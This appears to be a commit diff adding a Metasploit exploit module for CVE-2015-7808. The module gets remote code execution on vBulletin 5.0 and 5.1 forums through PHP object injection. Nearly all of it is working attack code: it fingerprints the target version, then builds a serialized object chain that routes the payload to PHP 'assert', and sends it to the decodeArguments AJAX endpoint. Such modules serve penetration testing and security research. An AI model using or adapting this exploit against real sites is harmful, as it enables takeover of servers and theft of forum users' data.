|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = ExcellentRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + |
| 13 | + def initialize(info = {}) |
| 14 | + super(update_info(info, |
| 15 | + 'Name' => 'vBulletin 5.1.2 Unserialize Code Execution', |
| 16 | + 'Description' => %q{ |
| 17 | + This module exploits a PHP object injection vulnerability in vBulletin 5.1.2 to 5.1.9 |
| 18 | + }, |
| 19 | + 'Platform' => 'php', |
| 20 | + 'License' => MSF_LICENSE, |
| 21 | + 'Author' => [ |
| 22 | + 'Netanel Rubin', # reported by |
| 23 | + 'cutz', # original exploit |
| 24 | + 'Julien (jvoisin) Voisin', # metasploit module |
| 25 | + ], |
| 26 | + 'Payload' => |
| 27 | + { |
| 28 | + 'BadChars' => "\x22", |
| 29 | + }, |
| 30 | + 'References' => |
| 31 | + [ |
| 32 | + ['CVE', '2015-7808'], |
| 33 | + ['EDB', '38629'], |
| 34 | + ['URL', 'http://pastie.org/pastes/10527766/text?key=wq1hgkcj4afb9ipqzllsq'], |
| 35 | + ['URL', 'http://blog.checkpoint.com/2015/11/05/check-point-discovers-critical-vbulletin-0-day/'] |
| 36 | + ], |
| 37 | + 'Arch' => ARCH_PHP, |
| 38 | + 'Targets' => [ |
| 39 | + [ 'Automatic Targeting', { 'auto' => true } ], |
| 40 | + ['vBulletin 5.0.X', {'chain' => 'vB_Database'}], |
| 41 | + ['vBulletin 5.1.X', {'chain' => 'vB_Database_MySQLi'}], |
| 42 | + ], |
| 43 | + 'DisclosureDate' => 'Nov 4 2015', |
| 44 | + 'DefaultTarget' => 0)) |
| 45 | + |
| 46 | + register_options( |
| 47 | + [ |
| 48 | + OptString.new('TARGETURI', [ true, "The base path to the web application", "/"]) |
| 49 | + ], self.class) |
| 50 | + end |
| 51 | + |
| 52 | + def check |
| 53 | + begin |
| 54 | + res = send_request_cgi({ 'uri' => target_uri.path }) |
| 55 | + if (res && res.body.include?('vBulletin Solutions, Inc.')) |
| 56 | + if res.body.include?("Version 5.0") |
| 57 | + @my_target = targets[1] if target['auto'] |
| 58 | + return Exploit::CheckCode::Appears |
| 59 | + elsif res.body.include?("Version 5.1") |
| 60 | + @my_target = targets[2] if target['auto'] |
| 61 | + return Exploit::CheckCode::Appears |
| 62 | + else |
| 63 | + return Exploit::CheckCode::Detected |
| 64 | + end |
| 65 | + end |
| 66 | + rescue ::Rex::ConnectionError |
| 67 | + return Exploit::CheckCode::Safe |
| 68 | + end |
| 69 | + end |
| 70 | + |
| 71 | + def exploit |
| 72 | + print_status("#{peer} - Trying to inferprint the instance...") |
| 73 | + |
| 74 | + @my_target = target |
| 75 | + check_code = check |
| 76 | + |
| 77 | + unless check_code == Exploit::CheckCode::Detected || check_code == Exploit::CheckCode::Appears |
| 78 | + fail_with(Failure::NoTarget, "#{peer} - Failed to detect a vulnerable instance") |
| 79 | + end |
| 80 | + |
| 81 | + if @my_target.nil? || @my_target['auto'] |
| 82 | + fail_with(Failure::NoTarget, "#{peer} - Failed to auto detect, try setting a manual target...") |
| 83 | + end |
| 84 | + |
| 85 | + print_status("#{peer} - Exploiting #{@my_target.name}...") |
| 86 | + |
| 87 | + chain = 'O:12:"vB_dB_Result":2:{s:5:"*db";O:' |
| 88 | + chain << @my_target["chain"].length.to_s |
| 89 | + chain << ':"' |
| 90 | + chain << @my_target["chain"] |
| 91 | + chain << '":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"assert";}}s:12:"*recordset";s:' |
| 92 | + chain << "#{payload.encoded.length}:\"#{payload.encoded}\";}" |
| 93 | + |
| 94 | + chain = Rex::Text.uri_encode(chain) |
| 95 | + chain = chain.gsub(/%2a/, '%00%2a%00') # php and Rex disagree on '*' encoding |
| 96 | + |
| 97 | + send_request_cgi({ |
| 98 | + 'method' => 'GET', |
| 99 | + 'uri' => normalize_uri(target_uri.path, 'ajax/api/hook/decodeArguments'), |
| 100 | + 'vars_get' => { |
| 101 | + 'arguments' => chain |
| 102 | + }, |
| 103 | + 'encode_params' => false, |
| 104 | + }) |
| 105 | + end |
| 106 | +end |
0 commit comments